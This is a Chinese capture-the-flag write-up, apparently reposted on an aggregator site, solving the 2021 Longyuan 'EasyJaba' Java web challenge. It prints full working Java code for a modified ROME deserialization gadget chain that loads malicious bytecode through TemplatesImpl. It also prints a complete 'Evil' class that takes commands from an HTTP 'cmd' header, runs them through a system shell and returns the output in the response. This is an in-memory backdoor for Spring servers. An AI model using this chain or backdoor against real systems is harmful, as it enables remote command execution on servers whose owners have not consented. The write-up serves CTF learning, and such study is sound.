陇原战“疫“2021网络安全大赛 Web EasyJaba

2023-11-11

陇原战"疫"2021网络安全大赛 Web EasyJaba

查看源码,禁用了一些类

在这里插入图片描述

(这里说一下反编译工具的情况,之前我一直用的jd-gui,但是本题的附件,使用jd-gui,无法看到禁用的相关信息,如下;而上面的截图,是使用的是jdax1.4)

在这里插入图片描述

同时发现调用了rome1.0,所以就是用的rome1.0那条链了

在这里插入图片描述

HashMap类的作用是触发hashCode,而BadAttributeValueExpException类的作用是触发toString,看本题的源码,其中可以直接调用object.toString,就不需要入口类了

在这里插入图片描述

改写一下rome链

package Rome;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;


public class Rome2 {

    public static void unserialize(byte[] bytes) throws Exception{
        ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
        ObjectInputStream oin = new ObjectInputStream(bain);
        oin.readObject();
    }


    public static byte[] serialize(Object o) throws Exception{
        try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(baout)){
            oout.writeObject(o);
            return baout.toByteArray();
        }
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        //恶意字节码
        byte[] code = Files.readAllBytes(Paths.get("D:\\project\\java\\cc1\\src\\main\\java\\Rome\\Evil.class"));
//        byte[] code = Files.readAllBytes(Paths.get("D:\\project\\java\\test\\target\\classes\\calc1.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","sk1y");  //不能设置为null,不然返回null
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_bytecodes",new byte[][]{code});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
//        toStringBean.toString();
        byte[] aaa = serialize(toStringBean);
        System.out.println(Base64.getEncoder().encodeToString(aaa));
    }
}

在这里插入图片描述

不出网

因为本题不出网,所以使用的是网络上流传的spring不出网情况下加载的恶意类

package Rome;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;
import java.util.Scanner;

public class Evil extends AbstractTranslet
{
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public Evil() throws Exception{
        Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
        Method m = c.getMethod("getRequestAttributes");
        Object o = m.invoke(null);
        c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
        m = c.getMethod("getResponse");
        Method m1 = c.getMethod("getRequest");
        Object resp = m.invoke(o);
        Object req = m1.invoke(o); // HttpServletRequest
        Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
        Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
        getHeader.setAccessible(true);
        getWriter.setAccessible(true);
        Object writer = getWriter.invoke(resp);
        String cmd = (String)getHeader.invoke(req, "cmd");
        String[] commands = new String[3];
        String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
        if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
            commands[0] = "cmd";
            commands[1] = "/c";
        } else {
            commands[0] = "/bin/sh";
            commands[1] = "-c";
        }
        commands[2] = cmd;
        writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
        writer.getClass().getDeclaredMethod("flush").invoke(writer);
        writer.getClass().getDeclaredMethod("close").invoke(writer);
    }
}

javac进行编译为Evil.class,加载这个恶意class

最后的效果

在这里插入图片描述

看fmyyy师傅的wp,其实可以使用Hashtable替换HashMap,一样可以触发hashCode,原有的链子可以打通(我没成功,应该是哪点写的有问题),具体链接放下面了

参考链接

  1. java反序列化 rome链以及陇原战疫的java题
  2. 陇原战役2021 ezjaba_ByNotD0g的博客-CSDN博客
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

陇原战“疫“2021网络安全大赛 Web EasyJaba 的相关文章

随机推荐

  • mysql多表查询

    多表关系分类 一对一 任意一方添加外键 关联另外一方的主键 并且设置外键唯一unique 一对多 多对一 在多的一方建立外键 指向一的一方的主键 多对多 将两张表的主键提取出来建立一张中间表 直接查询 会产生无效的笛卡尔积 select f
  • physx选择显卡还是cpu_玩转显卡,再也不用担心被坑

    对于显卡 相信大家都不陌生 无论是玩游戏 还是从事专业的图形设计 有一块好显卡才能如有神助 所以 今天小编就来带大家认识一下显卡本卡 01 什么是显卡 从字面上理解显卡是显示接口卡 显卡英文全称Video card或Graphic card
  • 解决Maven打包报错Could not transfer artifact xxx.xxx找不到依赖的问题

    解决Maven打包报错Could not transfer artifact xxx xxx找不到依赖的问题 概述 方案一 方案二 方案三 作者使用的这种方案 命令事例 概述 当我用idea导入一个新的maven项目 配置好maven仓库
  • 浏览器控制台报错net::ERR_CONNECTION_RESET原因:

    浏览器控制台报错net ERR CONNECTION RESET原因 浏览器控制台报错net ERR CONNECTION RESET原因 浏览器控制台错误 101 net ERR CONNECTION RESET 的本身含义就是这个网站存
  • Web前端开发技术课程大作业,期末考试

    Web前端开发技术课程大作业 期末考试 作业要求 最终界面 部分代码呈现 index html login html index css login css swithpic js 完整代码素材下载 作业要求 网站前端程序不仅要能够把用户要
  • linux下使用sed命令将文件的LF转为CRLF

    linux下使用sed命令将文件的CRLF转为LF 只要将每行中 r变成空就OK 以下命令为将file中的CRLF转为LF sed i s r g file 以下命令为将目录中 c文件和 h文件中的CRLF转为LF find regex c
  • 牛客SQL34: 牛客直播各科目同时在线人数(最大值问题)

    牛客SQL34 牛客直播各科目同时在线人数 最大值问题 内容目录 牛客SQL34 牛客直播各科目同时在线人数 最大值问题 一 描述 二 思路解析 三 代码 四 问题思考 一 描述 牛客某页面推出了数据分析系列直播课程介绍 用户可以选择报名任
  • 考研OS备考

    本文主要是考研复试备考自用 所以课后习题答案主要是简答题部分 此外还有其他的简答补充 如果发现有误 欢迎在评论区或者私信指出 计算机操作系统 汤小丹慕课版 课后习题答案 考研备考 第1章 操作系统引论 第1章 课后习题答案 第1章 零碎知识
  • 性能计数器

    性能计数器 Performance Object Counter Description Processor processor Time 指处理器执行非闲置线程时间的百分比 测量处理器繁忙的时间 这个计数器设计成用来作为处理器活动的主要指
  • 成都亚恒丰创科技USB-CAN和CAN分析仪接口方式

    USB CAN和CAN分析仪接口方式 导语 随着现代汽车电子技术的飞速发展 CAN总线成为了汽车领域中最常用的通信协议 而在进行CAN总线的调试和分析时 CAN分析仪是一种必不可少的工具 本文将介绍USB CAN接口和CAN分析仪的基本原理
  • Spring参数校验--List<E>类型参数校验

    1 遇到的问题 今天开发接口 遇到请求参数固定为List
  • 2023年第三届能源、电力与电气工程国际会议 (CoEEPE 2023)

    会议简介 Brief Introduction 2023年第三届能源 电力与电气工程国际会议 CoEEPE 2023 会议时间 2023年11月22日 24日 召开地点 澳大利亚 墨尔本 大会官网 www coeepe org 2023年第
  • Javascript:谈谈JS的全局变量跟局部变量

    今天公司一个实习小妹子问我两段JS代码的区别 我想 好简单
  • 干货分享:六个知名的Go语言web框架

    框架一直是敏捷开发中的利器 能让开发者很快的上手并做出应用 甚至有的时候 脱离了框架 一些开发者都不会写程序了 成长总不会一蹴而就 从写出程序获取成就感 再到精通框架 快速构造应用 当这些方面都得心应手的时候 可以尝试改造一些框架 或是自己
  • 【华为OD机试】 阿里巴巴找黄金宝箱(I)【2023 B卷

    华为OD机试 真题 点这里 华为OD机试 真题考点分类 点这里 题目描述 一贫如洗的樵夫阿里巴巴在去砍柴的路上 无意中发现了强盗集团的藏宝地 藏宝地有编号从0 N的箱子 每个箱子上面贴有一个数字 箱子中可能有一个黄金宝箱 黄金宝箱满足排在它
  • BurpSuite实战教程01-web渗透安全测试(靶场搭建及常见漏洞攻防)

    渗透测试 渗透测试 Penetration test 即安全工程师模拟黑客 在合法授权范围内 通过信息搜集 漏洞挖掘 权限提升等行为 对目标对象进行安全测试 或攻击 最终找出安全风险并输出测试报告 Web渗透测试分为白盒测试和黑盒测试 白盒
  • 在浏览器输入URL,按下回车之后的流程?

    1 在浏览器中输入一个URL 2 查找本地配置文件 如果之前有访问过 浏览器会进行缓存 如果没有的话会在本机域名解析文件hosts文件中寻找是否存在该URL的域名映射 如Windows的配置文件 C Windows System32 dri
  • NIO初级例子

    NIO初级例子 前言 一 代码撸上 前言 使用window系统环境 window 环境测试 测试使用telnet ip 端口 win R cmd 输入telnet id port Ctrl send 发送信息 缺点 无阻塞 但是cpu空转
  • UE4_代理示例_时钟

    时钟 TimeOfDayHandler 注册代理 执行代理 Fill out your copyright notice in the Description page of Project Settings pragma once inc
  • 陇原战“疫“2021网络安全大赛 Web EasyJaba

    陇原战 疫 2021网络安全大赛 Web EasyJaba 文章目录 陇原战 疫 2021网络安全大赛 Web EasyJaba 不出网 参考链接 查看源码 禁用了一些类 这里说一下反编译工具的情况 之前我一直用的jd gui 但是本题的附